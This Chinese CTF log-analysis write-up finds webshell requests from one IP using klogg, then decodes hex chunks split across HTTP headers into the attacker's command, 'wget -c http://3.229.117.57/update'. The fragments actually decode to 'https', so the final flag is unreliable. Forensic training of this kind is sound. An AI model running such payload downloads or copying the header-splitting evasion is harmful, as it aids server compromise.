【CTF-MISC-日志分析】使用klogg分析日志内容

工具klogg 22.06.0.1289https://github.com/variar/klogg/releases/tag/v22.06第一题题目描述你是一名安全分析师公司的Web服务器可能被攻击者植入了后门。请分析提供的访问日志找出以下信息攻击者使用的恶意IP地址是什么flag格式flag{IP地址}例如flag{192.168.10.10}解析用klogg打开日志勾选Enable regular expression logical combining的功能然后输入命令“cmd” or “shell”搜索到了198.51.100.42这个地址相关的请求shell和cmd明显恶意文件所以这个IP就是地址198.51.100.42--[16/Jun/2023:00:16:100000]GET /cmd.php?id328491actionupdatetoken731053 HTTP/1.1301 1061Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15X-Custom-Header:733a2f2f332e198.51.100.42--[16/Jun/2023:00:16:330000]GET /shell.php?id996606actionedittoken650160 HTTP/1.1304 2471Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36X-Custom-Header:372e35372f75198.51.100.42--[16/Jun/2023:00:15:530000]GET /cmd.php?id689443actiondeletetoken981439 HTTP/1.1200 7233Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0X-Forwarded-For:127.0.0.1, 632068747470198.51.100.42--[16/Jun/2023:00:16:460000]GET /webshell.php?id465538actionviewtoken504473 HTTP/1.1302 1755Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36Authorization:Bearer 7064617465答案答案flag{198.51.100.42}第二题题目描述攻击者执行的完整命令是什么最终提交flag格式为flag{执行的完整命令}如flag{ls -la /tmp}解析由第一题可知攻击者是在16/Jun/2023:00:15到16/Jun/2023:00:16之间执行的恶意请求所以我们要查看攻击者在16/Jun/2023:00:10到16/Jun/2023:00:19之间的所有日志信息输入命令“198.51.100.42” and “16/Jun/2023:00:1”按时间顺序排列198.51.100.42--[16/Jun/2023:00:15:350000]GET /system.php?id897641actionedittoken422278 HTTP/1.1302 9812Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15Via:1.1 proxy1, 1.1 proxy2, 77676574202d198.51.100.42--[16/Jun/2023:00:15:530000]GET /cmd.php?id689443actiondeletetoken981439 HTTP/1.1200 7233Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0X-Forwarded-For:127.0.0.1, 632068747470198.51.100.42--[16/Jun/2023:00:16:100000]GET /cmd.php?id328491actionupdatetoken731053 HTTP/1.1301 1061Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15X-Custom-Header:733a2f2f332e198.51.100.42--[16/Jun/2023:00:16:210000]GET /exec.php?id713079actiondeletetoken150053 HTTP/1.1502 5275Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15Via:1.1 proxy1, 1.1 proxy2, 3232392e3131198.51.100.42--[16/Jun/2023:00:16:330000]GET /shell.php?id996606actionedittoken650160 HTTP/1.1304 2471Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36X-Custom-Header:372e35372f75198.51.100.42--[16/Jun/2023:00:16:460000]GET /webshell.php?id465538actionviewtoken504473 HTTP/1.1302 1755Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36Authorization:Bearer 7064617465攻击者将命令拆分成多个部分隐藏在HTTP头中。让我将这些十六进制编码片段按时间顺序拼接并解码解码每个HTTP头中的十六进制数据00:15:35-77676574202d→wget -00:15:53-632068747470→c http00:16:10-733a2f2f332e→s://3.00:16:21-3232392e3131→229.1100:16:33-372e35372f75→7.57/u00:16:46-7064617465→pdate按时间顺序拼接wget - c http s://3. 229.11 7.57/u pdate去掉空格并合理组合wget -c http://3.229.117.57/update答案答案flag{wget -c http://3.229.117.57/update}